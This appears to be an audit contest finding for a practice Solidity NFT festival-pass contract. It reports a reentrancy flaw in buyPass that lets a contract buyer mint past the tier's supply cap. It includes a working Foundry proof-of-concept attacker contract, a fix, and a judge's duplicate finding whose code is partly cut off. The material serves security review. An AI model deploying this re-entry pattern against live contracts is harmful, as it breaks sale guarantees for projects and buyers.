Beatland Festival

AI First Flight #4
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

Reentrancy in buyPass mints past passMaxSupply via the ERC1155 acceptance callback

Root + Impact

Root Cause: buyPass calls _mint (which fires the ERC1155 onERC1155Received acceptance callback) before it increments passSupply, so a re-entrant call reads a stale supply counter and passes the cap check again. There is no reentrancy guard.

Impact: A contract buyer can mint more passes than passMaxSupply for a tier, breaking the hard supply cap and scarcity guarantee of a limited sale. The attacker pays the full price for every pass, so this is a broken-invariant issue, not theft of funds.

Description

  • Normal behavior: passMaxSupply caps how many passes of a tier can ever be minted, and buyPass must never let passSupply exceed it.

  • The bug: the supply check reads passSupply before _mint, but passSupply is incremented after _mint. _mint invokes onERC1155Received on a contract buyer before the increment runs, so the attacker re-enters buyPass, passes passSupply < passMaxSupply again against the still-stale counter, and mints beyond the cap.

function buyPass(uint256 collectionId) external payable {
require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID");
require(msg.value == passPrice[collectionId], "Incorrect payment amount");
require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); //@> reads stale supply
_mint(msg.sender, collectionId, 1, ""); //@> fires onERC1155Received BEFORE the increment -> reentry point
++passSupply[collectionId]; //@> increment runs too late to stop the re-entrant mint
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
if (bonus > 0) {
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}

For contrast, redeemMemorabilia performs currentItemId++ before its _mint, so it is check-effects-interactions safe; the flaw is specific to the ordering in buyPass.

Risk

Likelihood:

  • Occurs whenever a tier has a finite passMaxSupply and the buyer is a contract implementing onERC1155Received.

  • Requires only an attacker-deployed contract funded with n * price; no privilege and no special timing.

Impact:

  • The hard supply cap of a limited pass tier is violated (passSupply ends above passMaxSupply), defeating the scarcity and accounting of a limited sale.

  • No direct theft: the attacker pays the full price for every extra pass, which is why this is Medium rather than High.

Proof of Concept

With maxSupply = 1, the attacker mints 2 passes by re-entering once, and the attacker contract's ETH balance ends at 0, proving both passes were paid for (this anchors the severity at Medium, not theft). Self-contained, run forge test --match-test testReentrancyExceedsCap -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.25;
import {Test} from "forge-std/Test.sol";
import {FestivalPass} from "../src/FestivalPass.sol";
import {BeatToken} from "../src/BeatToken.sol";
import {IERC1155Receiver} from "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
contract Attacker is IERC1155Receiver {
FestivalPass fp;
uint256 id;
uint256 maxDepth;
uint256 depth;
constructor(address _fp, uint256 _id, uint256 _d) {
fp = FestivalPass(_fp);
id = _id;
maxDepth = _d;
}
function attack() external payable {
fp.buyPass{value: fp.passPrice(id)}(id);
}
function onERC1155Received(address, address, uint256, uint256, bytes calldata) external returns (bytes4) {
if (depth < maxDepth) {
++depth;
fp.buyPass{value: fp.passPrice(id)}(id); // passSupply not yet incremented -> cap check still passes
}
return IERC1155Receiver.onERC1155Received.selector;
}
function onERC1155BatchReceived(address, address, uint256[] calldata, uint256[] calldata, bytes calldata) external pure returns (bytes4) {
return IERC1155Receiver.onERC1155BatchReceived.selector;
}
function supportsInterface(bytes4 i) external pure returns (bool) {
return i == type(IERC1155Receiver).interfaceId || i == 0x01ffc9a7;
}
receive() external payable {}
}
contract ReentrancyPoC is Test {
FestivalPass fp;
BeatToken bt;
address organizer = makeAddr("organizer");
function setUp() public {
bt = new BeatToken();
fp = new FestivalPass(address(bt), organizer);
bt.setFestivalContract(address(fp));
}
function testReentrancyExceedsCap() public {
vm.prank(organizer);
fp.configurePass(1, 0.05 ether, 1); // GENERAL_PASS, maxSupply = 1
Attacker a = new Attacker(address(fp), 1, 1); // re-enter once -> 2 total mints
vm.deal(address(a), 0.05 ether * 2);
a.attack();
assertGt(fp.passSupply(1), fp.passMaxSupply(1)); // 2 > 1: cap violated
assertEq(fp.balanceOf(address(a), 1), 2);
assertEq(address(a).balance, 0); // paid for both -> no free mint
}
}

Recommended Mitigation

Increment the supply counter before minting (check-effects-interactions), or add a reentrancy guard to buyPass.

require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached");
- _mint(msg.sender, collectionId, 1, "");
- ++passSupply[collectionId];
+ ++passSupply[collectionId];
+ _mint(msg.sender, collectionId, 1, "");
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 16 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-02] Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply

# Function `FestivalPass:buyPass` Lacks Defense Against Reentrancy Attacks, Leading to Exceeding the Maximum NFT Pass Supply ## Description * Under normal circumstances, the system should control the supply of tokens or resources to ensure that it does not exceed a predefined maximum limit. This helps maintain system stability, security, and predictable behavior. * The function `FestivalPass:buyPass` does not follow the **Checks-Effects-Interactions** pattern. If a user uses a malicious contract as their account and includes reentrancy logic, they can bypass the maximum supply limit. ```solidity function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer @> _mint(msg.sender, collectionId, 1, ""); // question: potential reentrancy? ++passSupply[collectionId]; // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } emit PassPurchased(msg.sender, collectionId); } ``` ## Risk **Likelihood**: * If a user uses a contract wallet with reentrancy logic, they can trigger multiple malicious calls during the execution of the `_mint` function. **Impact**: * Although the attacker still pays for each purchase, the total number of minted NFTs will exceed the intended maximum supply. This can lead to supply inflation and user dissatisfaction. ## Proof of Concept ````Solidity //SPDX-License-Identifier: MIT pragma solidity 0.8.25; import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol"; import "../src/FestivalPass.sol"; import "./FestivalPass.t.sol"; import {console} from "forge-std/Test.sol"; contract AttackBuyPass{ address immutable onlyOnwer; FestivalPassTest immutable festivalPassTest; FestivalPass immutable festivalPass; uint256 immutable collectionId; uint256 immutable configPassPrice; uint256 immutable configPassMaxSupply; uint256 hackMintCount = 0; constructor(FestivalPassTest _festivalPassTest, FestivalPass _festivalPass, uint256 _collectionId, uint256 _configPassPrice, uint256 _configPassMaxSupply) payable { onlyOnwer = msg.sender; festivalPassTest = _festivalPassTest; festivalPass = _festivalPass; collectionId = _collectionId; configPassPrice = _configPassPrice; configPassMaxSupply = _configPassMaxSupply; hackMintCount = 1; } receive() external payable {} fallback() external payable {} function DoAttackBuyPass() public { require(msg.sender == onlyOnwer, "AttackBuyPass: msg.sender != onlyOnwer"); // This attack can only bypass the "maximum supply" restriction. festivalPass.buyPass{value: configPassPrice}(collectionId); } function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4){ if (hackMintCount festivalPass.passMaxSupply(targetPassId)); } } ``` ```` ## Recommended Mitigation * Refactor the function `FestivalPass:buyPass` to follow the **Checks-Effects-Interactions** principle. ```diff function buyPass(uint256 collectionId) external payable { // Must be valid pass ID (1 or 2 or 3) require(collectionId == GENERAL_PASS || collectionId == VIP_PASS || collectionId == BACKSTAGE_PASS, "Invalid pass ID"); // Check payment and supply require(msg.value == passPrice[collectionId], "Incorrect payment amount"); require(passSupply[collectionId] < passMaxSupply[collectionId], "Max supply reached"); // Mint 1 pass to buyer - _mint(msg.sender, collectionId, 1, ""); ++passSupply[collectionId]; + emit PassPurchased(msg.sender, collectionId); + _mint(msg.sender, collectionId, 1, ""); // VIP gets 5 BEAT welcome bonus, BACKSTAGE gets 15 BEAT welcome bonus uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0; if (bonus > 0) { // Mint BEAT tokens to buyer BeatToken(beatToken).mint(msg.sender, bonus); } - emit PassPurchased(msg.sender, collectionId); } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!